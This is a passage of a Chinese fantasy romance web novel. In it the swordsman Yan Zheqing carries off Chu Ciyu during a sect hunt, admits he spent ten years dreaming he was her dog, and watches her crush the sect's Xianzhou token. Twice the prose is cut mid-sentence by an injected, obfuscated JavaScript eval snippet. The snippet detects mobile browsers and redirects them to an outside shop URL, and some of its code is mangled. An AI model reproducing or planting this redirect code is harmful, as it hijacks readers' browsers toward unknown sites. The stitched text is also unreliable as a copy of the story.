水:「我在仙院也有一些朋友,如果你有什么需要,可以告诉我。」
水:「不要跟我客气。」
楚慈玉的指尖停在公输尺上,好一会儿,指腹处传来轻微的热意。
她心里还真的闪过一瞬让对方帮自己讨个公输密钥的念头,但最后没有说出来,只是慢吞吞地输传文:
「尚好,没有需要。」
「不会客气的,谢——」
谢了两字还没输完,一阵猛烈的穿堂风忽地贯过学堂,将案上的阵法书翻得哗哗作响,纸张被掀得乱飞,窗上帘帷鼓动如波涛。
一片凌乱。
而有道清亮如溪的声音遥遥落下。
“青天巡猎!”
“若有叨扰,请勿怪罪!”
是参与青天猎的天阶弟子来了。
学子们眼睛发亮,连连望向声音来处,但并没看见任何身影。
而楚慈玉只觉得后领被拎起,整个人骤然失重。她像是被一阵风携走,只一个吐息便离开了学堂,四周景色极快变幻,光影瞬息万变,湖泊远去,阵家学堂远去,无数黑白相间的太极八卦图远去,万物飘渺,风声凛冽。
周遭最浓烈的一笔,是绑走她的人身上清爽舒朗的香。
“多谢诸君承让。”
“这最后一个猎物,如今是我的了!”
这人在笑。
尾音上翘,酥酥麻麻地勾人。
“青天猎榜首,剑家却之不恭!”
楚慈玉淡定地被拎着,心想——
原来青天猎,猎的是她。
那很坏了。
4. 狗凶她
在天上飞的滋味很特别。
楚慈玉没修过道也没御过剑,所以不知道原来在云巅俯瞰万物时眼里会如此开阔,万物都小似蚂蚁,能容纳数百人的学堂不如她手心大。
风与云,都贴着脸过去。
楚慈玉依旧被拎着,没能落地,也不知道拎她的人打算去哪儿。或许他会把她直接扔出仙院,这是说不定的事,而她打算尽力阻止。
“燕折青。”
楚慈玉叫了他的名字。她的声音冷脆,没什么情绪,语调淡得像是命令。
“放我下去。”
正专心赶路的燕折青忽觉脊背轻微一麻。
但这转瞬即逝的酥麻他没上心,惹得他拧眉的是手上拎着的犯人的语气。是他的错觉吗,为什么感觉这人在命令他?
燕折青困惑地看着青天白日,不禁思忖自己确实是逮了个留在仙院的无赖不错吧,抓到她后青天榜的分数也对应地上涨了。
所以这家伙在理直气壮什么?
命令总令人不悦,特别是对桀骜难驯的人。
燕折青满不在乎地挑挑眉,轻嘲着开口,语调带点痞劲儿,“怎么,认识我?很想下去?”
他哼笑一声,语气冷下来。
“想得挺美,但别想了。给我老实点,不准再吵,求情没用,哭也一样。”
燕折青的威胁之语从头顶传来时,楚慈玉呆了呆。
他出乎意料地凶,而她还是第一回被人说老实点,虽然她知道自己是没道理的一方,挨骂也不太冤枉,不过——
楚慈玉慢吞吞地想,这算不算狗对她龇牙?过去十年里狗没凶过她,今天倒是破天荒第一回,是很新鲜的体验。
但可惜,楚慈玉不喜欢狗对自己龇牙,也不太喜欢被人像拎家伙事儿一样拎在天上飞。
她摸摸芥子戒,开始在里面翻东西。
燕折青对她的不高兴一无所觉。
他只觉得手底下的人似乎在挣扎。
“你鬼鬼祟祟做什么呢?”
他颇有几分恶劣地将楚慈玉往上提了一截,含着警告意味地拎到眼前瞧了瞧,“我告诉你——”
他漫不经心的眸,对上她古井无波的眼瞳。
只觉得,那像没有月光的夜,墨一般的湖。
仔细看,似乎还藏着星星点点的不悦。
冷冷的,凶凶的。
燕折青要说的话忽然卡壳了。
嗯。
呃。
?
他也搞不懂自己是怎么想的,就突然,脚下御风的速度不自觉低了下来,人也慢慢落了地,被风掀得翻飞的衣袍变得平静,好看的眸里盈满茫然。
燕折青喉咙干涩,“你——”
他的话还没说完就被打断了。
“你好像很喜欢拎人,怎么突然不拎了。”
安稳落地的楚慈玉瞬间放弃在芥子戒里找东西,转而面无表情地拽住他的衣襟,往下用力一拎。
燕折青没防备,被她拽得差点趔趄,不得不靠弯腰向前倾来稳住身形。
这动作是下意识的,他没法撤,只能眼睁睁看着自己朝她靠近。
楚慈玉的身量已经是高挑的了,但燕折青比她还更高几分,宽肩窄腰压过来时,她能见到的大半天光都被遮住。
他高束的墨发因着倾身的姿势落到肩前,轻轻扫过楚慈玉眼帘,带起一阵细微的痒。
但比起痒,还有更糟糕的。
痛。
这几乎是两人此刻的唯一感受。
楚慈玉先前动手时毫不犹豫,手里下狠劲儿,燕折青又太过轻敌,所以他们的距离被意外拉得极近,快要脸贴脸那种近。
于是,两人的鼻尖狠狠相撞,疼得他们冒泪花花。
楚慈玉痛得一瞬便游神了。
这和梦里很不一样,梦里她和小狗碰鼻头时,她感受到的是柔软,湿润,急促又亲昵欢喜的嗅闻,以及紧随而来的温热舔舐。
而现实中,燕折青的鼻梁高挺直翘,又冷又硬,似一座玉山。
楚慈玉松开他,抬手摸了摸鼻尖,有点心疼自己。
“!”
刚被轻薄完就惨遭狠狠推开的燕折青还没从冲击中回神,但很快,他的耳尖就染上大片薄红。
“你突然拽我做什么,我,我——”
他摸摸自己鼻梁,狠狠后撤了好几步,神情震惊又羞愤,语气刻意放得很重,但却有一丝微妙的外强中干意味。
“你再轻薄我,我真的会动手的!”
楚慈玉瞥他一眼,像是不理解他在激动什么,她继续揉山根,很是冷漠地颔了颔首,语气又酷又拽。
“知道了,不会了。”
她如此冷静,害得燕折青又是一噎,罕见地哑口无言。他不知道说什么,不知道怎么办,只好在心里荒唐地看自己的一部分清白流走。
真是有够委屈的。
他从来没有和女郎靠得这么近过。
而且她刚刚是在嫌弃他吗,为什么!
燕折青百思不得其解。
一时间,两人谁都没说话了。天上的云悠悠飘,地上的人儿安安静静,沉默弥漫时,楚慈玉用余光瞧他。
她有一点想不通,明明是同样的人,但为什么梦外见和梦外见却是有区别的,像是匣玉与险峻奇石的区别。
朦胧有余的春秋境里,她见过他当小狗的模样,也见过他正常的脸庞,但都比不上梦外清楚的一面。
燕折青的五官比她记忆中俊美锋利许多,好看得无可挑剔,他眉骨高挺,墨眉舒展,眼亮如星又深邃似海,抱剑时侠气飘逸,扬眉时又含着一分桀骜不驯。
燕折青其人,是湍急的江川,迅猛,长青,不可阻挡。
“我们从前是不是见过?”
楚慈玉余光里,燕折青欲言又止,头疼地捏了捏额角,最后还是问出了口。
他明明用的是问句,但语气却透着肯定,半点对自己的怀疑都没有。或是觉得这样突然问上一句有些冒昧,末了,燕折青补上一句,颇有礼节地自报家门。
“我,三洲燕折青。”
但说完他就想起来楚慈玉在天上被拎着的时候便分分明明地叫过他名字了。
燕折青不自然地一揉鼻尖,暗骂自己这时候犯什么蠢。
“我们从前没见过。”
而楚慈玉把他的小动作尽收眼底,如此答道,说假话时顿也不顿。
燕折青自然不信,盯着她,试图找到破绽,楚慈玉也盯回去。
“假的。”
“真的。”
“真的假的?”
“真的真的。”
两人就这么僵了会儿,谁也不让谁,好一会儿,楚慈玉哼了声别开脸,不再玩这幼稚把戏。
她觉得再盯着他,她会忍不住翘起唇角。
而燕折青看着她侧过去的脸颊,心里低声说,才不是呢。至少,至少,他早在莲华殿金顶上就见过她了。
他的心思弯弯绕绕,楚慈玉不知道,她想了想,然后照他先前那般报上自己的家门。
“我,鲸洲楚慈玉。”
鲸洲。
燕折青轻呼了口气。
有那么巧的事么,他若有所思。
燕折青眼眸一亮,唇微动,还要再问些什么,身后却忽然传来道低沉困惑的声音。
“你还没将她送走?”
有人来了。
楚慈玉目光错过燕折青,看到一个束青竹冠的灰袍青年朝他们走来,他的衣袍有些旧,像洗过许多次,甚至还带着不少缝补的针脚。
这人面生,丹凤眼,饰个简单的单边耳坠。
她不认识。
而燕折
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579204|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青回头见到师平秋,有点意外,“你怎么来了,有要紧事找我?”
就回头说一句话的功夫,他居然还怕楚慈玉跑了,伸手拉住她的衣角。楚慈玉显然对此不满,用力扯了扯但没扯动。
师平秋看着这一幕,心底泛起些许诧异,他压下异样,缓声回答燕折青先前的问题,“不要紧,可能要命。”
“什么意思?”
“青天猎剑家今年势颓,但你还是拿到榜首了。”
“所以?”
“其余几家的人气得要命,全蹲在藏经阁守你,准备群殴。不过你迟迟不归,他们被惹急了,出高价雇我绑你回去。”
燕折青听了就乐,好笑地问:“你敲了他们多少?”
师平秋淡然道:“五千三洲石。”
“好狠,”燕折青轻啧,“看来他们真打算要我的命。”
不过从他的神情可以看得出来他倒是一点没在怕,甚至有几分跃跃欲试。
被拽着无路可走所以被迫旁听完一切的楚慈玉看向燕折青,歪歪头,语调平静地胡乱指责,“你真不安分,还有,快放开我。”
怎么他无论是当狗还是当人都喜欢到处惹事,恶名远扬,不招人待见。
燕折青万万没想到她居然指责他!
“怪我?”
他倒吸一口凉气,指指自己,气笑了,“为了榜首我也很辛苦啊,人不行总不能怪路不平吧!”
楚慈玉的唇不自觉地扬。真奇怪,到三洲来不过几日,她却笑了好多次,心里被什么东西装满,鼓鼓囊囊的。
以前她很少有这种感受。
同样感到奇怪的还有另外一人。师平秋眯了眯眼,眸中泛上不解,不知为何,他觉得眼前的两人似乎很熟络。
但这不应该。
他和燕折青自小一块长大,从没在他身边见过这个女郎。且燕折青并不是自来熟的性子,没道理和刚见面的人这么快混成一团。
师平秋心念微动,开口道:“这里离院门不远了,让她自己离开吧,我们先回藏经阁。若她赖着不走,就叫两个仙院金吾卫看着。”
楚慈玉若有所思,原来,燕折青先前还真是打算直接把她扔出仙院的。
像扔垃圾一样。
燕折青犹豫片刻,拒绝了,“算了吧,他们那伙人动手没轻没重的。”
那你打算怎么办?
师平秋的目光再次含上疑惑,正要问他的想法,却听楚慈玉出了声:“我不识路,一个人走不出去。”
她略过燕折青,直接问师平秋,“多少三洲石能雇你带路到仙院外的云舟驿站?不御剑,不乘风,走路那种。”
燕折青盯住楚慈玉,不懂自己为什么被略过,他抿唇,甚至伸手在她眼前晃了晃。
结果当然是被置之不理。
师平秋扫了眼燕折青的神情,又看了看楚慈玉,介于好友明显的不满,他没打算真给她带路,于是随口报出一个劝退人的高价。
“一千三洲石。”
这真是狮子大开口,但楚慈玉颔首,竟然答应下来。
燕折青磨牙生闷气。
而师平秋稍感意外,显然没意料到她还是个富贵人家的孩子,她的应允倒将他架住了。
师平秋心说算了,有钱不赚是傻子,他拿出公输尺,垂眸,指尖边滑动边询问:“你乘云舟去哪儿?”
“鲸洲。”
师平秋眉头微蹙又松开,他放下公输尺,道:“开往鲸洲的云舟今天已经没有了,去了也是白去。”
语气不禁含上几分可惜。
但楚慈玉很无所谓,“我会让他们单独开一班专门的云舟。”
师平秋顿住了。
他重新衡量了楚慈玉的身份。
“五千三洲石。”
师平秋坦荡地坐地起价,没有半点愧疚。
5. 问问吧
五千三洲石。
呵,这人真说得出口。
楚慈玉有种被人当有钱傻子的感觉,她略一打量师平秋,浓黑的眸子淡漠地映出人影,没有笑但令人觉着嘲笑似的。
“不要,你不值。”
她的话简短但够狠。
作为十二境修士,师平秋记得已经很久没人敢这样对他说话了,久违的贬低袭来,他不禁轻呵。
所以说,他最讨厌跟钱多事也多的有钱人打交道了。
楚慈玉转身就要走,她摸出公输尺,垂眼,在上面拉出某人的传文框,刚准备发传文过去却被人拉住。
“楚慈玉,你怎么光问他不问我啊。”
燕折青拽住她的袖角,像是有点不服气,他见她回头看自己,又立马扬起笑,朝她抬抬下巴,“问问吧,万一我很值呢?”
师平秋无言地瞥了他一眼。
楚慈玉的衣袖角被小幅度但很有存在感地摇来摇去,这很像从前小狗咬她裙角吸引她注意的招式。
她输传文的动作不由自主顿了顿,最后说:“那我问问吧。”
“你要多少三洲石?”
燕折青终于满意松手。
“送你一趟也就花半柱香的功夫,我不要三洲石,”他扬眉,眼眸像彻亮的星,还补上极具诱惑力的一句,“不御剑,不乘风,走路那种。”
“怎么样,不错吧?”
倒贴当然是非常不错的,师平秋扯着唇角腹诽,他不动声色地瞧着那位女郎,思忖对方到底是什么来路。过往年岁里,他从未见过燕折青如此上赶着倒贴人。
而这一头,太好说话的燕折青反而让楚慈玉默了默,半晌她颔首,说:“不会让你白送的。”
燕折青笑着嗯声。
他跟在楚慈玉身旁,两人转身朝三洲仙院院门走,步履从容,腰间玉饰叮当作响。
师平秋对着远去的背影提醒,“藏经阁。”
燕折青没回头,只散漫地摆摆手。
天晚欲雪,群山间风声渐起,夹着冬寒,绒毛似的细雪被卷着吹过来。
楚慈玉从芥子戒中取了把竹骨伞撑开,燕折青不在乎这点风雪,只随意掸了掸肩,很有几分潇洒。
因为今日是青天猎,所以他没着常服,而是一袭剑家天阶弟子的统一制式的玄色交领袍,整体显得极为利落凛然,护臂锢在手臂上,革带紧束的腰身劲瘦,衣摆被风掀动不止,露出内里的织金衬底。
他确实俊朗得过分,楚慈玉想。
两人并肩走着,偶尔会碰见向燕折青打招呼的弟子。
雪势渐渐大了。
鹅雪纷扬,周围落上一层素净的白,在这片天地净色中,楚慈玉撑着伞,神色沉静,眉眼如画,好看得不像话。
燕折青时不时拿余光悄悄瞧她,偶尔嫌弃余光看得不够清楚,便忍不住微微侧头。但没多久,忽地,他瞥见那竹骨伞朝自己微微一斜。
燕折青垂眸,对上楚慈玉清凌凌的墨瞳。
“要一起吗?”
她误会他了。
其实燕折青很少用伞,伞对修士来说是累赘的造物,真要驱雪画个符就好。况且,那竹骨伞精细,伞臂不长,多容纳一个高大的身板有些困难。
燕折青毫不犹豫地开口:“要。”
“我来撑吧。”
细雪微寒,伞下拥挤,两人克制着距离,却似乎能感受到对方身上传来的温热,接下来的路,他们有一搭没一搭地闲聊。
“回鲸洲后,打算做什么?”
“做人。”
“他们真的会为你多开一班云舟?”
“十班也可以。”
“那你介意不介意搭我一程?”
楚慈玉疑惑地啊了啊,停下,侧头看向燕折青,“你要去鲸洲?”
他们已走进了参天的梧桐林,宽阔的林叶挡住飘雪,林间枝叶繁茂,光线稍暗却很宁静,偶有鸟雀穿叶拂林。
过了这重林,便到三洲仙院的北院门了。
反正林子里没雪,燕折青索性收了竹骨伞。他点点头,温声道:“嗯,我要去鲸洲。”
“为什么?”
其实这个问题燕折青已经听很多人问过,原方野问过,师平秋问过,甚至姬妙音萧敏仪也问过,但他谁也没告诉,死死守着秘密。
可不知为何,此刻他愿意告诉楚慈玉。
“我去找人,”燕折青的语调带着难以读懂的情绪,面色是凝重的,“一个很重要的人。”
言罢,他不自在地移开眼。
有件事说出去谁都不会相信,他,燕折青,三洲这一辈修士里绝无仅有的天才,在十年前就开始做一场持续不断的怪梦。
那时他白日里是个小少年,但夜里入梦就变成狗——那种摇尾乞怜,被人嘬来嘬来的可怜蛋。
燕折青当狗的第一夜揣着满腹怒火,梦里他意识很清醒,心情很不爽。翌日醒来时他将夜梦忘掉大半,只隐约记得梦到自己变成狗,还被个小女郎捡回了家。
小女郎的模样模糊不清,怎么想都想不起来。
大概只是做了个怪梦罢,那时的燕折青这么想着,拧拧眉,随意地将这事抛之脑后。
但是第二夜他再次梦见自己变成狗。
同时,白日里失去的前夜梦境记忆悉数归来,燕折青意识到情况不对,气得大叫,出口却是小狗的汪汪声,吸引了小女郎的注意力。
“怎么了?”
她问着,把小狗抱起来看。
羞愤的燕折青和捡到他的小女郎四目相对,对方困惑又认真的眼眸很可爱,他一时没忍住,尾巴居然神使鬼差地摇了摇。
他!居然对人摇尾巴了!
意识到自己做了什么的燕折青只觉受到了奇耻大辱,虽然这羞辱是他自己送自己的,但不妨碍他感到愤怒。
他绝不会再叫,也绝不会再摇尾巴!
“你不要乱叫了,乖乖的哦。”
小女郎摸了摸小狗的脑袋。
气头上的狗陡然被摸,爽得下意识摇了摇尾巴,随后是不可思议地一僵。
燕:……
他的脾气如冰融般化开,只觉得——狗长尾巴恐怕是为了方便丢脸的。
第二夜在复杂的心绪度过,翌日在清浅晨光里醒来的燕折青一片茫然,他坐起身,捏了捏眉心,总感觉自己忘记了什么重要的东西。
燕折青努力回想了会儿,只记起些碎片。昨晚,他好像梦到自己变成了狗,而且遇到个想养他的小女郎,嗯,她还怪可爱的,就是记不清脸了。
这都什么鬼东西,他轻嗤一声,果断下榻去洗漱。
第三夜,燕折青继续汪汪叫。
十年来,当狗一事周而复始,仿佛打不破的循环。燕折青的白天黑夜被切割,夜里的他是条有主的暴躁恶犬,记得一切,为了打破循环每晚不停搞事;而白天的他是光风霁月的天之骄子,记忆模糊,只知道自己总梦见狗和一个小女郎。
为了破解循环,燕折青学贯百家古籍,但从没找到有关这怪梦的只言片语;他觉得这可能是什么隐秘的禁咒禁术,想要挣脱只能靠提升自身修为。
于是,十九岁的燕折青来到十五境巅峰,他的禀赋令仙院尊者惊叹不已,即使放眼整个十四洲也从未有过这般惊才绝艳的妖孽,他极有可能成为最年轻的勘破仙者境的修士。
但是,梦依旧没结束。
风平浪静的梦境里,小女郎长大,亭亭玉立,狗长大,越来越混。
燕折青彻底没招了,甚至打算舍弃尊严向仙院尊者们求助,但就在他已经逐渐习惯这一切时,梦境陡然破碎,他不再在夜里当狗,也不再梦见小女郎。
比喜悦先降临的是恍惚。
燕折青还是弄丢了一些记忆,他记得小女郎,但记不清她的模样和声音,他记得与她相处的日常,却忘掉某些重要的事。
或许是他不再当狗了,无法完整拥有狗的记忆,但燕折青真不明白到底什么事是狗能知道人却不能知道的。
十年的春秋大梦在燕折青心里凿下了无比深刻的痕迹,他决计此生有两件重要的事要做,一是找到那个给他做局拽他入梦当狗的混账,狠狠挫骨扬灰;二是见见小女郎,如果她当真存在于十四洲,而不是谁为了逗弄他而捏造出来的虚假事物。
此行鲸洲,正是为了第二件事。
“你想在鲸洲找谁?”
楚慈玉的询问将燕折青的神思拽了回来。
燕折青抱臂,片刻后忽然别过脸,淡淡道:“前辈的事少打听。”
他当然不会说自己上赶着去寻主。
这多难为情。
轻风拂过楚慈玉的脸庞,她笑起来,温声细语地骗人。
“你说说嘛,等回到鲸洲,我可以下令帮你找人,这样比你自己在茫茫人海里寻找轻松多了。”
听着真让人心动。
燕折青抬手抹了把脸,神情犹豫,额间碎发从他修长的手指间翘出。好半晌,他道:
“……我不知道,我好像忘掉她是谁了。”
他忘掉很多东西,但知道她很重要。
楚慈玉慢吞吞哦了一声。
她心里涌起些柔软的潮水,整颗心奇怪地酸胀,燕折青不记得她这件事楚慈玉并不意外,她天生是该被遗忘的人,从小到大,那些做梦者几乎都将她忘得干干净净,其实说来燕折青对她还有印象就已经很奇怪了。
不过,楚慈玉讲话时嘴巴还是很坏。
“如果忘记的话,说明那个人在你心里不够重要。你有必要为此去一趟鲸洲吗?”
这奚落似当头棒喝。
燕折青心头一窒,难过密密麻麻地爬上来。
他不懂为什么她长得这么可爱,说话却这么不留情,性情有够恶劣。燕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579205|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
折青气得不想看见楚慈玉,直接阔步走向粗壮的梧桐树后,隔绝了她的视线。
“当然有必要。”
燕折青咬牙,微怒。
“总有一天我会记起来的。”
他也总有一天会找到她。
楚慈玉怔了怔,一时没出声,她在梧桐树前抱膝坐下,心里默默咀嚼他的话。燕折青还没消气,就这样沉默地斜倚着树。
两人隔着梧桐树干,久久无言。
好一会儿,楚慈玉开口:“对不起,我不该冒犯你的。”
“我信你。”
她说话时,眼眸里浸着认真。
“虽然听起来是件困难的事,但我想如果是你的话,未必做不成。”
燕折青的心情微妙地好了起来。
他不是好说话的人,消气也没别的原因,就是觉得她的声音温温的,柔柔的,有点熟悉,很容易就让他平静。
风拂过梧桐林,簌簌作响。
燕折青咳了咳,淡声道:“我们继续赶路。”
说罢,他就要从树后走出来。
楚慈玉没起身,只是问:“那方才那个人的五千三洲石怎么办,你不回藏经阁的话他应该拿不到吧。”
燕折青脚步一滞,没情绪地瞥她,“那你是想让我回去被他们群殴?要是他们多打一,我多可怜啊。我忙着去鲸洲,没功夫理会这帮闲人。”
楚慈玉心说她也没有那么过分的。
“没有哦,我只是想说,”她摸了摸指节上的芥子戒,想到了说辞,“我身无所长,不过算卦还比较灵。”
楚慈玉眼眸平静,信口胡诌,“我刚刚替你算了一卦,卦象说你要找的人不在鲸洲,你还是别去了吧。”
燕折青沉默了。
他真的默了好一阵儿,安静得楚慈玉怀疑他出事了。好半天,那慵懒清亮的声音才从梧桐树后传出来,听起来冷冷的,酷酷的。
“楚慈玉,我跟你掏心掏肺,你搁这儿耍我呢?为什么突然劝我别去鲸洲?我知道了,是不是其实你根本没办法让他们多开一班去鲸洲的云舟?”
“那你别担心,就算御剑要御几天几夜,我也会勤勤恳恳地把你拎回鲸洲,大不了我们一起摔死在半路上。”
燕折青声音冷酷,“你绝对别想跑。”
楚慈玉弯弯眼,咬住下唇。
但可惜,她根本忍不住笑意,就连抓住草地上的嫩绿草叶也压不出笑得一抽一抽的肩,她很努力地解释,“我认真的,我要是有一句话作假,就让我爹挨雷劈。”
似是应证她的话一般,三洲苍穹之上忽然响过几声轰隆雷声,雷光一闪而过,风卷来雪,又吹来雨。
燕折青:………
他冷脸,“令尊现在不会就在三洲吧!”
楚慈玉把头埋进膝盖里,笑出泪花花。
燕折青无比懊恼自己被她当狗逗,他不轻不重地敲了敲自己的剑鞘,没什么气势地警告,“喂,够了没大孝女,别笑了。”
但要她现在停下来属实是强人所难,燕折青气得倒仰,又去梧桐树后背对她。
楚慈玉好一会儿才缓过劲儿,她撇去眼角泪花,主动摸到梧桐树后边去找那个还在闹别扭的俊秀青年。
“我没说假话,我认真的。”
燕折青侧过脸不理她。
楚慈玉难得地放软了语气,耐耐心心地劝他。
“燕折青,你消气吧,我一定帮你找到重要的人。”
“我给你看好东西,你别生气啦。”
她从芥子戒中取出一块雪白而温润的玉佩,这玉佩形似令牌,铭纹繁复,生动似游龙,精光内蕴,流光溢彩。
“你认识它吗?”
燕折青不认识,比起玉佩,撷取他更多注意的是那只握着玉佩的手。
楚慈玉的手白似削葱段,骨节分明,修长的指节上有好几个素戒。她毕竟是不能修行的凡人,能用的芥子戒与修士不同,容纳空间很小,如果想要多装点东西,只能多戴几枚。
但她戴着不显累赘,很好看。
楚慈玉把仙洲令在燕折青眼前晃了晃。
“你真的不认识?”
“不认识,但挺好看的。”
他喉结滚了滚,镇定掩饰掉刚才的分神。
“好吧,”楚慈玉有点遗憾,她脸色闪过苦恼之色,最后对燕折青说,“如果觉得好看,那你赶快多看几眼。”
“为什么?”
“因为——”
她握紧仙洲令,五指屈起用力。
凭凡人的力气当然捏不碎一块玉佩,但楚慈玉小臂上渐渐浮现出些淡青色纹路。
于是,仙洲令中心开始出现细小的裂纹,很快,锋利的碎片划破了她的掌心,光彩四处流散,泯然尘埃。而楚慈玉的指缝间,染着血色的雪白齑粉簌簌落下。
“因为它很快就不存于世了。”
6. 四方堂
仙洲令碎,只是一声极轻的响动。
但很快,整个三洲都被一股霸道至极的誓力横扫,似荡开无限远的涟漪,境内所有仙院尊者皆有所感。
田野间,粗布耕者放下锄头。
馔玉楼里,正百无聊赖地听戏的一黑一白忽地掀袍起身,讶然相视。
万道凛冽剑势间,有人收剑入鞘。
藏经阁浩繁卷帙中,书卷气浓重的阁主在往折子上按印章时,困惑了片刻。
……
梧桐林里,燕折青剑眉拧起,盯着捏碎玉佩的楚慈玉,薄唇微抿,面上几分不悦几分严肃。
“你在做什么?”
他没有消气,而且似乎更生气了。
燕折青冷脸时很唬人,目光算不上多寒冷,但确实是失望又冷淡的,令人发怵。
楚慈玉唇角慢慢拉平了,她垂眸拍掉残留在手心的粉末,伤口还在渗血,不过她没有在意。
她知道自己脾气很坏,在鲸洲是出了名的乖戾古怪,她告诉自己要多注意,但是面对燕折青时还是没忍住随性。
可能因为她被狗惯坏了,平时狗会委屈会跟她置气,但从来不会对她冷脸,也不会用这种目光看她。
在鲸洲时楚慈玉见过太多厌恶的目光,在这样的目光里,她总会很快地没由来地被激出一些躁意。但今天楚慈玉只是压着那股躁意,什么都没说,什么都没做。
确实是她太恶劣了。
楚慈玉重新走回梧桐树另一侧,坐下,心里什么念头都没有,只是思绪放空地抚摸着指节上的芥子戒。
她手上每一个芥子戒都被装得沉甸甸的,所有空间都有被好好利用。来三洲的一路,仅有这几个素戒陪伴她,如不意外,未来也是如此。
三洲的天此刻是阴沉的,苍穹之下,被云雾笼罩的群峰连绵不止,仙院庄严肃穆地矗立着,抱山揽海,威严堂皇。它无疑是三洲最强大的组织,但想必此刻也正为仙洲令的出世惊愕着。
统御瀛、燕、蜀三洲的仙院,不过尔尔。
“你真是一点头都不肯低啊。”
燕折青忽然的出声打断了楚慈玉幽深的思忖。
他摘了片梧桐叶,折起又随手抛出。梧桐叶像小船,晃晃悠悠地飘,最后泊在她手背,盖住芥子戒。
楚慈玉微愣抬眼,只见燕折青已不知何时走到了她身前,他单膝半跪,给她掸去梧桐叶,高束着墨发的朱色发带随风轻飘。
“我承认我刚才语气是重了点,但你居然就不理我了,好过分啊楚慈玉。”
楚慈玉想说她没有那个意思,但看着他的眼睛,她最后也只是老老实实地挨批评。
“不想要那玉佩摔了不行吗,实在不行叫我啊,自己动手弄出一手的伤,楚慈玉,为什么要划破自己的手心?你不会痛吗?”
“手伸出来。”
燕折青意外地强势。
楚慈玉下意识看了眼自己的右手。
她的掌心血气不足,过分白皙,所以被玉佩重重硌过后留下的红痕以及划破的伤口便极其惹眼。
但这值得在意吗,反正,它很快就会好的。
楚慈玉的神情带上一丝困惑。
“现在还在流血呢,你可真有本事。”
而燕折青自顾自抱怨着,蹙眉,嘀嘀咕咕地翻他的芥子戒,很费劲地扒拉出半盒药膏。他打开,用指尖蘸了点抹在脸侧,体感还能用。
“上药。”
他抬手一抛。
楚慈玉用左手接住,看着盒中细腻雪白的药膏,很难想象自己要给一点不起眼的伤抹药,她试图拒绝,“其实我没有很娇贵——”
燕折青轻轻一笑,眼神危险地瞥她。
楚慈玉安静了。
她指尖蘸蘸药膏,均匀地抹开在右手手心,血色被药膏晕开,变成淡粉的薄薄一层,敷在伤口上很好看。
楚慈玉眼睫颤了颤,她忽然觉得涂药膏有点好玩,药膏清清凉凉的也很舒服,她玩心刚起时就被燕折青敏锐察觉,他挑挑眉轻啧,“不准玩药,给我对药保持敬畏之心。”
坏习惯就得早逮早消灭,燕折青深以为然。
“好嘛。”
楚慈玉合上药膏,还给燕折青。
她扶着梧桐树起身,看见落在草地的齑粉时微微一愣,直到此刻楚慈玉才发觉自己无形中被燕折青带得很偏,差点连正事都忘记了。
她仰头,跟燕折青讲话,“其实——”
他看向她。
“比起我的伤,其实我们更应该关心那块被捏碎的玉佩,它很重要。”
燕折青轻嗤,果断开口:“不要,我才不关心玉佩。”
楚慈玉温温叹道:“好嘛。”
她点了点他身后,目光滑过他俊朗的脸庞,朝梧桐林外看去。
“但他似乎挺关心的。”
只见群山连绵处,有人乘鹤而来,神情难辨,似温和非温和,一身书卷气浓重。他停在林外,朝林中人点了点头。
楚慈玉迈步朝梧桐林外走,与燕折青擦肩而过,走动时扰动微风,将她身上很淡又很疏离的香带向他。
燕折青一道转身,看见来人时微诧。
“阁主。”
藏经阁阁主即墨鹤颔首,温声回应,“折青,原来你也在。”
“我来这里是为了带持有仙洲令的人去四方堂,”他眉间含笑,但语出惊人,“也就是你身旁这位鲸洲圣女楚慈玉。”
楚慈玉见过即墨鹤的画像,修士容颜常驻,画像与真人几乎无改,所以她很轻易就能认出他。三洲仙院有长老三千,尊者七十二位,即墨鹤尊者排行十二,修阵家。
不过她对即墨鹤一眼认出自己的事感到些许意外,这些年来她从未出过鲸洲,常居鲸洲王宫,除开鲸洲王都世家与宗室子弟,见过她真貌的人少之又少。
“慈玉小友,你与你父亲楚襟生得有几分相似,”即墨鹤抚了抚松鹤的墨羽,浅笑着与她话家常,“见你如见故人,亲切非常,待你回到鲸洲,替我向你父亲带一句问好吧。”
他的神色温和,摆出友待小辈的亲和语气。
但以燕折青对阁主的了解,他完全听得出来即墨鹤现在心情并不愉悦,甚至可以说是很不快。
即墨鹤不快时,旁人也很难快活。
同时,引得燕折青额角跳痛的还有仙洲令。是了,楚慈玉的确告诉过他,她捏碎的玉佩很重要,他还豪言不关心。
但他不知道她说的是仙洲令。
所谓仙洲令,是一块铭刻天地灵誓的令牌,由三洲仙院某任院长所铸,是对某位曾救仙院于水火的大能的答谢之礼,持令者可要求仙院做一件事。
这是好几百年前的旧闻,如今的后人对仙洲令是否真实存在争论不休。
不过现在好了,都不用吵了,仙洲令确实存在,但刚刚没了,被楚慈玉捏成粉粉了。
在燕折青重重揉眉心的功夫里,楚慈玉与即墨鹤交谈起来。
“近些年家父行踪莫测,已许久不回鲸洲,若有缘分,晚辈会将问好带到。”
即墨鹤笑一声,没多在意。
反正他又不是真心想问楚襟的好。
他只对楚慈玉道:“走吧,尊者们都在四方堂等着。”
即墨鹤往前一步,抬手布阵,打算直接将两人传送至四方堂。
但燕折青却下意识一拦,“等等。”
楚慈玉和即墨鹤都以为他是唤的自己,不约而同地回头,而燕折青看见两人同时看向自己,不
